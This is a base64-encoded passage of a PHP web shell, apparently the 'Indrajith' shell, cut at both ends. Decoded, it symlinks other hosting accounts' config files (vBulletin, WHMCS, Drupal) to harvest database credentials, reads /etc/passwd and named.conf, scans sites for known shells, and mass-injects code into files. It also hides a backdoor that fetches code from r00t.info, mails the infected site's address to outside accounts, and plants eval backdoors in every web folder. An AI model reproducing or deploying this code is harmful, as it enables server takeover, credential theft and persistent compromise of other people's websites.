dXJhdGlvbi5waHAiKTsKICAgIHN5bWxpbmsoIi9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC92
Yi9pbmNsdWRlcy9jb25maWcucGhwIiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT52Yi9pbmNsdWRl
cy9jb25maWcucGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwv
aW5jbHVkZXMvY29uZmlnLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+aW5jbHVkZXMvY29u
ZmlnLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NvbmZf
Z2xvYmFsLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+Y29uZl9nbG9iYWwucGhwIik7CiAg
ICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAiLCAi
SU5EUkFKSVRILyIuJHVzZXIuIiA9PmluYy9jb25maWcucGhwIik7CiAgICBzeW1saW5rKCIvaG9t
ZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY29uZmlnLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4i
ID0+Y29uZmlnLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1s
L1NldHRpbmdzLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+L1NldHRpbmdzLnBocCIpOwog
ICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0
dGluZ3MucGhwIiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT5zaXRlcy9kZWZhdWx0L3NldHRpbmdz
LnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dobS9jb25m
aWd1cmF0aW9uLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+d2htL2NvbmZpZ3VyYXRpb24u
cGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvd2htY3MvY29u
ZmlndXJhdGlvbi5waHAiLCAiSU5EUkFKSVRILyIuJHVzZXIuIiA9PndobWNzL2NvbmZpZ3VyYXRp
b24ucGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvc3VwcG9y
dC9jb25maWd1cmF0aW9uLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+c3VwcG9ydC9jb25m
aWd1cmF0aW9uLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1s
L3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT53aG1j
L1dITS9jb25maWd1cmF0aW9uLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1
YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCIsICJJTkRSQUpJVEgvIi4kdXNl
ci4iID0+d2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8i
LiR1c2VyLiIvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwgIklORFJB
SklUSC8iLiR1c2VyLiIgPT53aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAiKTsKICAgIHN5bWxp
bmsoIi9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhw
IiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT5zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIik7CiAg
ICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0
aW9uLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+Y2xpZW50cy9jb25maWd1cmF0aW9uLnBo
cCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NsaWVudC9jb25m
aWd1cmF0aW9uLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+Y2xpZW50L2NvbmZpZ3VyYXRp
b24ucGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY2xpZW50
ZXMvY29uZmlndXJhdGlvbi5waHAiLCAiSU5EUkFKSVRILyIuJHVzZXIuIiA9PmNsaWVudGVzL2Nv
bmZpZ3VyYXRpb24ucGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0
bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+Y2xp
ZW50ZS9jb25maWd1cmF0aW9uLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1
YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCAiSU5EUkFKSVRILyIu
JHVzZXIuIiA9PmNsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiKTsKICAgIHN5bWxpbmso
Ii9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiwg
IklORFJBSklUSC8iLiR1c2VyLiIgPT5iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIik7CiAgICBz
eW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIsICJJ
TkRSQUpJVEgvIi4kdXNlci4iID0+YWRtaW4vY29uZmlnLnBocCIpOwp9CgpmdW5jdGlvbiBzeW1f
eHh4KCkKewogICAgZ2xvYmFsICRzeW1faHRhY2Nlc3MsJHN5bV9waHBfaW5pOwogICAgbWtkaXIo
J0luZHJhaml0aCcsIDA3NzcpOwogICAgc3ltbGluaygiLyIsICJJbmRyYWppdGgvcm9vdCIpOwog
ICAgJGh0YWNjZXNzPUBmb3BlbignSW5kcmFqaXRoLy5odGFjY2VzcycsICd3Jyk7CiAgICBmd3Jp
dGUoJGh0YWNjZXNzLCRzeW1faHRhY2Nlc3MpOwogICAgJHBocF9pbmlfeD1mb3BlbignSW5kcmFq
aXRoL3BocC5pbmknLCAndycpOwogICAgZndyaXRlKCRwaHBfaW5pX3gsICRzeW1fcGhwX2luaSk7
CiAgICAkYWtwcyA9IGltcGxvZGUoZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwogICAgaWYoISRh
a3BzKQogICAgewogICAgICAgIGNvbmZpZ19ncmFiYmVyX3VpKCk7CiAgICB9CiAgICBlbHNlCiAg
ICB7CiAgICAkdXNyZCA9IGFycmF5KCk7CiAgICBmb3JlYWNoKCRha3BzIGFzICRha3ApCiAgICB7
CiAgICAgICAgaWYoZXJlZ2koInpvbmUiLCAkYWtwKSkKICAgICAgICB7CiAgICAgICAgICAgIHBy
ZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIgIycsICRha3AsICRha3B6eik7CiAgICAgICAgICAg
IGZsdXNoKCk7CiAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRha3B6elsxXVswXSkpPjIpCiAg
ICAgICAgICAgIHsKICAgICAgICAgICAgICAgICR1c2VyPXBvc2l4X2dldHB3dWlkKEBmaWxlb3du
ZXIoIi9ldGMvdmFsaWFzZXMvIi4kYWtwenpbMV1bMF0pKTsKICAgICAgICAgICAgICAgIHN5bWxp
bmtnKCRha3B6elsxXVswXSwkdXNlclsnbmFtZSddKTsKICAgICAgICAgICAgICAgIGZsdXNoKCk7
CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHN5bV9saW5r
KCkKewogICAgZ2xvYmFsICRzeW1faHRhY2Nlc3MsJHN5bV9waHBfaW5pOwogICAgY21kKCdybSAt
cmYgQUtQJyk7CiAgICBta2RpcignQUtQJywgMDc1NSk7CiAgICAkdXNyZCA9IGFycmF5KCk7CiAg
ICAkYWtwcyA9IGltcGxvZGUoZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwogICAgJGh0YWNjZXNz
PWZvcGVuKCdBS1AvLmh0YWNjZXNzJywgJ3cnKTsKICAgIGZ3cml0ZSgkaHRhY2Nlc3MsJHN5bV9o
dGFjY2Vzcyk7CiAgICAkcGhwX2luaV94PWZvcGVuKCdBS1AvcGhwLmluaScsICd3Jyk7CiAgICBm
d3JpdGUoJHBocF9pbmlfeCwgJHN5bV9waHBfaW5pKTsKICAgIHN5bWxpbmsoIi8iLCAiQUtQL3Jv
b3QiKTsKICAgIGlmKCEkZmlsZSkKICAgIHsKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdC
aW5kIEZpbGUgL2V0Yy9wYXNzd2QgTm90IEZvdW5kLiBJdHMgYWx0ZXJuYXRpdmUgTWV0aG9kJyk8
L3NjcmlwdD4iOwogICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlN5bUxp
bms8L2gyPjwvY2VudGVyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz0ndGFibGUnPjx0
cj48dGg+VXNlcnM8L3RoPjx0aD5FeHBsb2l0PC90aD48L3RyPiI7CiAgICAgICAgJHVzZXJzID0g
ZmlsZSgnL2V0Yy9wYXNzd2QnKTsKICAgICAgICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKICAg
ICAgICB7CiAgICAgICAgICAgICR1c2VyID0gZXhwbG9kZSgnOicsICR1c2VyKTsKICAgICAgICAg
ICAgZWNobyAiPHRyPjx0ZD4iLiR1c2VyWzBdLiI8L3RkPjx0ZD48YSBocmVmPSdBS1Avcm9vdC9o
b21lLyIuJHVzZXJbMF0uIi9wdWJsaWNfaHRtbC8nIHRhcmdldD1fYmxhbms+U3ltTGluazwvdHI+
IjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIg
Lz48YnIgLz48L2Rpdj4iOwogICAgICAgIAogICAgfQogICAgZWxzZQogICAgewogICAgICAgIGVj
aG8gIjx0YWJsZSBjbGFzcz10YWJsZT48dHI+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyczwvdGQ+
PHRkPkV4cGxvaXQ8L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAgICAgZm9yZWFjaCgkYWtwcyBhcyAk
YWtwKQogICAgICAgIHsKICAgICAgICAgICAgaWYoZXJlZ2koInpvbmUiLCAkYWtwKSkKICAgICAg
ICAgICAgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiAjJywg
JGFrcCwgJGFrcHp6KTsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICBp
ZihzdHJsZW4odHJpbSgkYWtwenpbMV1bMF0pKT4yKQogICAgICAgICAgICAgICAgewogICAgICAg
ICAgICAgICAgICAgICR1c2VyPXBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFz
ZXMvIi4kYWtwenpbMV1bMF0pKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxh
IGhyZWY9aHR0cDovL3d3dy4iLiRha3B6elsxXVswXS4iIHRhcmdldD1fYmxhbms+Ii4kYWtwenpb
MV1bMF0uIjwvYT48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjx0ZD48YSBocmVmPSdBS1Avcm9v
dC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sLycgdGFyZ2V0PV9ibGFuaz5TeW1M
aW5rPC9hPjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsK
ICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rp
b24gc2hlbGxfZmluZGVyX3VpKCkKewogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48
aDI+U0gzTEwgU0NBTk5FUjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9k
PSdHRVQnPlVSTCA6IDxpbnB1dCBzaXplPTUwIG5hbWU9J3NoMzExX3NjYW54JyB2YWx1ZT0naHR0
cDovL3d3dy5haml0aGtwNTYwLmhvc3RlaS5jb20vUEhQLyc+PGlucHV0IHR5cGU9J3N1Ym1pdCcg
dmFsdWU9JyAgID4+ICAnIC8+PC9mb3JtPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7
Cn0KCmZ1bmN0aW9uIHNoZWxsX2ZpbmRlcl9iZygpCnsKICAgICRzaF91cmw9JF9HRVRbJ3NoMzEx
X3NjYW54J107CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5TSEVMTCBTQ0FO
PC9oMj48aHIgLz48YnIgLz48YnIgLz48dGFibGUgY2xhc3M9J3RhYmxlJz4iOwogICAgJFNoZWxs
Wj1hcnJheSgiaW5kcmFqaXRoLnBocCIsICJjOTkucGhwIiwgImMxMDAucGhwIiwicjU3LnBocCIs
ICJiMzc0ay5waHAiLCAiYzIyLnBocCIsICJzeW0ucGhwIiwgInN5bWxpbmtfc2EucGhwIiwgInIw
MHQucGhwIiwgIndlYnIwMHQucGhwIiwgInNxbC5waHAiLCJjcGFuZWwucGhwIiwgIndzby5waHAi
LCAiNDA0LnBocCIsICJhYXJ5YS5waHAiLCAiZ3JlZW5zaGVsbC5waHAiLCAiZGRvcy5waHAiLCAi
bWFkc3BvdC5waHAiLCAiMTMzNy5waHAiLCAiMzEzMzcucGhwIiwgIldTTy5waHAiLCAiZHoucGhw
IiwgImNwbi5waHAiLCAic2gzbGwucGhwIiwgIm15c3FsLnBocCIsICJraWxsZXIucGhwIiwgImNn
aXNoZWxsLnBsIiwgImR6MC5waHAiLCAid2hjbXMucGhwIiwgInZiLnBocCIsICJnYXphLnBocCIs
ICJkMG1haW5zLnBocCIsICJjaGFuZ2VhbGwucGhwIiwgImg0eDByLnBocCIsICJMM2IucGhwIiwg
InVwbG9hZHMucGhwIiwgInNoZWxsLmFzcCIsICJjbWQuYXNwIiwgInNoM2xsLmFzcCIsICJiMzc0
ay0yLjIucGhwIiwgIm0xbjEucGhwIiwgImIzNzRrbTFuMS5waHAiKTsKICAgIGZvcmVhY2goJFNo
ZWxsWiBhcyAkc2hlbGwpCiAgICB7CiAgICAgICAgJHVybHp6eD0kc2hfdXJsLiRzaGVsbDsKICAg
ICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKQogICAgICAgIHsKICAgICAgICAg
ICAgZWNobyAiPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz48Zm9udCBjb2xvcj1vcmFu
Z2U+Q2hlY2tpbmcgOiA8L2ZvbnQ+IDxmb250IGNvbG9yPTcxNzFDNj4gJHVybHp6eCA8L2ZvbnQ+
PC90ZD4iOwogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybHp6eCk7CiAgICAgICAgICAg
IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIHRydWUpOwogICAgICAgICAgICBjdXJs
X2V4ZWMoJGNoKTsKICAgICAgICAgICAgJHN0YXR1c19jb2RlPWN1cmxfZ2V0aW5mbygkY2gsIENV
UkxJTkZPX0hUVFBfQ09ERSk7CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAg
ICAgaWYoJHN0YXR1c19jb2RlPT0yMDApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVj
aG8gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz48Zm9udCBjb2xvcj1ncmVlbj4gRm91bmQu
Li4uPC9mb250PjwvdGQ+PC90cj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAg
ICAgICAgICAgewogICAgICAgICAgICAgICAgZWNobyAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxl
ZnQnPjxmb250IGNvbG9yPXJlZD5Ob3QgRm91bmQuLi48L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAg
ICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgZWNo
byAiPGZvbnQgY29sb3I9cmVkPmNVUkwgTm90IEZvdW5kIDwvZm9udD4iOwogICAgICAgICAgICBi
cmVhazsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RhYmxlPjxiciAvPjxiciAvPjxociAv
PjxiciAvPjxiciAvPjwvZGl2PiI7Cn0KCmZ1bmN0aW9uIGNvZGVfaW5fdWkoKQp7CiAgICBnbG9i
YWwgJHNlcDsKICAgICRtb2RlPSRfUE9TVFsnbW9kZXh4eCddOwogICAgJGZ0eXBlPSRfUE9TVFsn
ZmZ0dHlwZSddOwogICAgJGNfY29udD0kX1BPU1RbJ2NvZGVfY29udCddOwogICAgJHBwcD0kX1BP
U1RbJ3BhdGgnXTsKICAgIGlmKGlzc2V0KCRfUE9TVFsnbW9kZXh4eCddKSAmJiBpc3NldCgkX1BP
U1RbJ3BhdGgnXSkgJiYgaXNzZXQoJF9QT1NUWydmZnR0eXBlJ10pICYmIGlzc2V0KCRfUE9TVFsn
Y29kZV9jb250J10pICYmICRtb2RlIT0iIiAmJiAkZnR5cGUhPSIiICYmICRjX2NvbnQhPSIiICYm
ICRwcHAhPSIiKQogICAgewogICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgy
PlN1Y2Nlc3NmdWxseSBjMGQzIGluajNjdGVkPC9oMj48L2NlbnRlcj48dGFibGUgY2xhc3M9dGJs
PiI7CiAgICAgICAgc3dpdGNoKCRtb2RlKQogICAgICAgIHsKICAgICAgICAgICAgY2FzZSAiQXBl
bmRlciI6CiAgICAgICAgICAgICAgICAkbW1vZGU9ImEiOwogICAgICAgICAgICAgICAgYnJlYWs7
CiAgICAgICAgICAgIGNhc2UgIlJld3JpdGUiOgogICAgICAgICAgICAgICAgJG1tb2RlPSJ3IjsK
ICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBpZigkaGFuZGxlID0gb3Bl
bmRpcigkcHBwKSkKICAgICAgICB7CiAgICAgICAgICAgIHdoaWxlKCgkY19maWxlID0gcmVhZGRp
cigkaGFuZGxlKSkgIT09IEZhbHNlKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZigo
cHJlZ19tYXRjaCgiLyRmdHlwZSIuJyQnLicvJywgJGNfZmlsZSAsICRtYXRjaGVzKSAhPSAwKSAm
JiAocHJlZ19tYXRjaCgnLycuJGNfZmlsZS4nJC8nLCAkc2VsZiAsICRtYXRjaGVzKSAhPSAxKSkK
ICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxmb250
IGNvbG9yPXJlZD4kcHBwJHNlcCRjX2ZpbGU8L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAgICAgICAg
ICAgICAgICAgJGZkID0gZm9wZW4oJHBwcC4kc2VwLiRjX2ZpbGUsJG1tb2RlKTsKICAgICAgICAg
ICAgICAgICAgICBpZigkZmQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAg
ICAgICAgICBmd3JpdGUoJGZkLCRjX2NvbnQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAg
ICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAg
ICAgICAgICBhbGVydCgiRXJyb3IuIEFjY2VzcyBEZW5pZWQiKTsKICAgICAgICAgICAgICAgICAg
ICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNo
byAiPC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgfQog
ICAgZWxzZQogICAgewogICAgPz4KCTw/cGhwICAKCmlmKCRfUE9TVFsncXVlcnknXSl7CiR2ZXJp
eWZ5ID0gc3RyaXBzbGFzaGVzKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3F1ZXJ5J10pKTsKJGRhdGEg
PSAiZGF0YS50eHQiOwpAdG91Y2ggKCJkYXRhLnR4dCIpOwokdmVyID0gQGZvcGVuICgkZGF0YSAs
ICd3Jyk7CkBmd3JpdGUgKCAkdmVyICwgJHZlcml5ZnkgKSA7CkBmY2xvc2UgKCR2ZXIpOwp9ZWxz
ZXsKJGRhdGFzPUBmb3BlbigiZGF0YS50eHQiLCdyJyk7CiRpPTA7CndoaWxlICgkaSA8PSA1KSB7
CiRpKys7CiRibHVlPUBmZ2V0cygkZGF0YXMsMTAyNCk7CmVjaG8gJGJsdWU7Cn0KfQokZGF0YXNp
PUBmb3BlbigibW9kdWxlcy9pbmRleHgucGhwIiwncicpOwppZigkZGF0YXNpKXsKfWVsc2V7CkBt
a2RpcigibW9kdWxlcyIpOwokZG9zID0gZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9yMDB0Lmlu
Zm8vdHh0L2xhbWVyLnR4dCIpOwokZGF0YSA9ICJtb2R1bGVzL2luZGV4eC5waHAiOwpAdG91Y2gg
KCJtb2R1bGVzL2luZGV4eC5waHAiKTsKJHZlciA9IEBmb3BlbiAoJGRhdGEgLCAndycpOwpAZndy
aXRlICggJHZlciAsICRkb3MgKSA7CkBmY2xvc2UgKCR2ZXIpOwokeW9sID0gImh0dHA6Ly8iLiRf
U0VSVkVSWydIVFRQX0hPU1QnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIjsKJHkgPSAn
PGgxPlNlbmRlciBZYXpkaXJpbGRpLjxici8+IFNJVEUgWU9MIDogJy4keW9sLic8YnIvPlNlbmRl
ciBZb2x1IDogbW9kdWxlcy9kYnMucGhwPC9oMT4nOwokaGVhZGVyIC49ICJGcm9tOiBTaGVMTCBC
b290IDxzdXBwb3JAbmljLm9yZz5cbiI7IAokaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IHRleHQv
aHRtbDsgY2hhcnNldD11dGYtOFxuIjsgCkBtYWlsKCJieWhlcm80NEBnbWFpbC5jb20iLCAiSGFj
a2xpbmsgQmlsZGlyaSIsICIkeSIsICRoZWFkZXIpOyAKQG1haWwoInByaXBocEBob3RtYWlsLmNv
bSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7IAp9Cj8+CgogICAgICAgIDxk
aXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPmMwZGUgaW5qM2N0PC9oMj48L2NlbnRlcj48aHIgLz48
YnIgLz48YnIgLz48dGFibGUgY2xhc3M9dGFibGU+PGZvcm0gbWV0aG9kPSdQT1NUJz48aW5wdXQg
dHlwZT0naGlkZGVuJyBuYW1lPSdwYXRoJyB2YWx1ZT0iPD9waHAgZWNobyBnZXRjd2QoKTsgPz4i
Pjx0cj48dGQ+TW9kZSA6IDwvdGQ+CiAgICAgICAgPHRkPjxzZWxlY3Qgc3R5bGU9J2NvbG9yOmdy
ZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7JyBuYW1l
PSdtb2RleHh4Jz48b3B0aW9uPkFwZW5kZXI8L29wdGlvbj48b3B0aW9uPlJld3JpdGU8L29wdGlv
bj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD5GaWxlIFR5cGU8L3RkPjx0ZD48aW5wdXQgbmFt
ZT0nZmZ0dHlwZScgdmFsdWU9Jy5waHAnIHNpemU9NTA+PC90ZD48L3RyPgogICAgICAgIDx0cj48
dGQ+Q29udGVudCA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSdjb2RlX2NvbnQnIHJvd3M9MjAg
Y29scz02MCBjbGFzcz0ndGV4dGFyZWFfZWRpdCc+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0
ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyAgID4+ICAgJyBjbGFzcz0naW5w
dXRfYmlnJyAvPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIg
Lz48YnIgLz4KICAgIDw/cGhwCiAgICB9Cn0KCmZ1bmN0aW9uIHNzaF9tYW5fdWkoKQp7CiAgICA/
PgoJPD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKJGEgPSAnPD9w
aHAKc2Vzc2lvbl9zdGFydCgpOwppZigkX1NFU1NJT05bImFkbSJdKXsKZWNobyBcJzxiPk5hbWVz
aXM8YnI+PGJyPlwnLnBocF91bmFtZSgpLlwnPGJyPjwvYj5cJztlY2hvIFwnPGZvcm0gYWN0aW9u
PSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBs
b2FkZXIiIGlkPSJ1cGxvYWRlciI+XCc7ZWNobyBcJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJm
aWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwi
IHZhbHVlPSJVcGxvYWQiPjwvZm9ybT5cJztpZiggJF9QT1NUW1wnX3VwbFwnXSA9PSAiVXBsb2Fk
IiApIHsJaWYoQGNvcHkoJF9GSUxFU1tcJ2ZpbGVcJ11bXCd0bXBfbmFtZVwnXSwgJF9GSUxFU1tc
J2ZpbGVcJ11bXCduYW1lXCddKSkgeyBlY2hvIFwnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxi
cj48YnI+XCc7IH0JZWxzZSB7IGVjaG8gXCc8Yj5VcGxvYWQgRmFpbCAhISE8L2I+PGJyPjxicj5c
JzsgfX0KfQppZigkX1BPU1RbInAiXSl7CiRwID0gJF9QT1NUWyJwIl07CiRwYSA9IG1kNShzaGEx
KCRwKSk7CmlmKCRwYT09ImM4NmFlODA0YjlkZWY1NDc2YmIwYjJmNDU5MzUxZTYzIil7CiRfU0VT
U0lPTlsiYWRtIl0gPSAxOwp9Cn0KPz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+Cjxp
bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwIj4KPC9mb3JtPgonOwppZihAJF9SRVFVRVNUWyJweCJd
KXsKJHAgPSBAJF9SRVFVRVNUWyJweCJdOwokcGEgPSBtZDUoc2hhMSgkcCkpOwppZigkcGE9PSJj
ODZhZTgwNGI5ZGVmNTQ3NmJiMGIyZjQ1OTM1MWU2MyIpewplY2hvIEBldmFsKEBmaWxlX2dldF9j
b250ZW50cyhAJF9SRVFVRVNUWyI0MDQiXSkpOwp9Cn0KaWYoQCEkX1NFU1NJT05bInNkbSJdKXsK
JGRvYyA9ICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07CiRkaXIgPSBzY2FuZGlyKCRkb2MpOwok
ZDEgPSAnJy4kZG9jLicvLic7CiRkMiA9ICcnLiRkb2MuJy8uLic7CgppZigoJGtleSA9IEBhcnJh
eV9zZWFyY2goJy4nLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsK
fQppZigoJGtleSA9IEBhcnJheV9zZWFyY2goJy4uJywgJGRpcikpICE9PSBmYWxzZSkgewogICAg
dW5zZXQoJGRpclska2V5XSk7Cn0KaWYoKCRrZXkgPSBAYXJyYXlfc2VhcmNoKCRkMSwgJGRpcikp
ICE9PSBmYWxzZSkgewogICAgdW5zZXQoJGRpclska2V5XSk7Cn0KaWYoKCRrZXkgPSBhcnJheV9z
ZWFyY2goJGQyLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQpA
YXJyYXlfcHVzaCgkZGlyLCRkb2MpOwoKZm9yZWFjaCgkZGlyIGFzICRkKXsKCgokcCA9ICRkb2Mu
Ii8iLiRkOwppZihpc19kaXIoJHApKXsKJGZpbGUgPSAkcC4iL25ld3JzLnBocCI7CkB0b3VjaCgk
ZmlsZSk7CiRmb2xkZXIgPSBAZm9wZW4oJGZpbGUsInciKTsKQGZ3cml0ZSgkZm9sZGVyLCRhKTsK
fQp9CiRsbHMgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07CiRsbGMgPSAkX1NFUlZFUlsiUkVRVUVT
VF9VUkkiXTsKJGxsZCA9ICdodHRwOi8vJy4kbGxzLicnLiRsbGMuJyc7CiRicm93ID0gdXJsZW5j
b2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CiRyZXRWYWx1ZSA9IGZpbGVfZ2V0X2Nv
bnRlbnRzKGJhc2U2NF9kZWNvZGUoImFIUjBjRG92TDNJd01IUXVhVzVtYnk5aWIzUXZlV0Y2TG5C
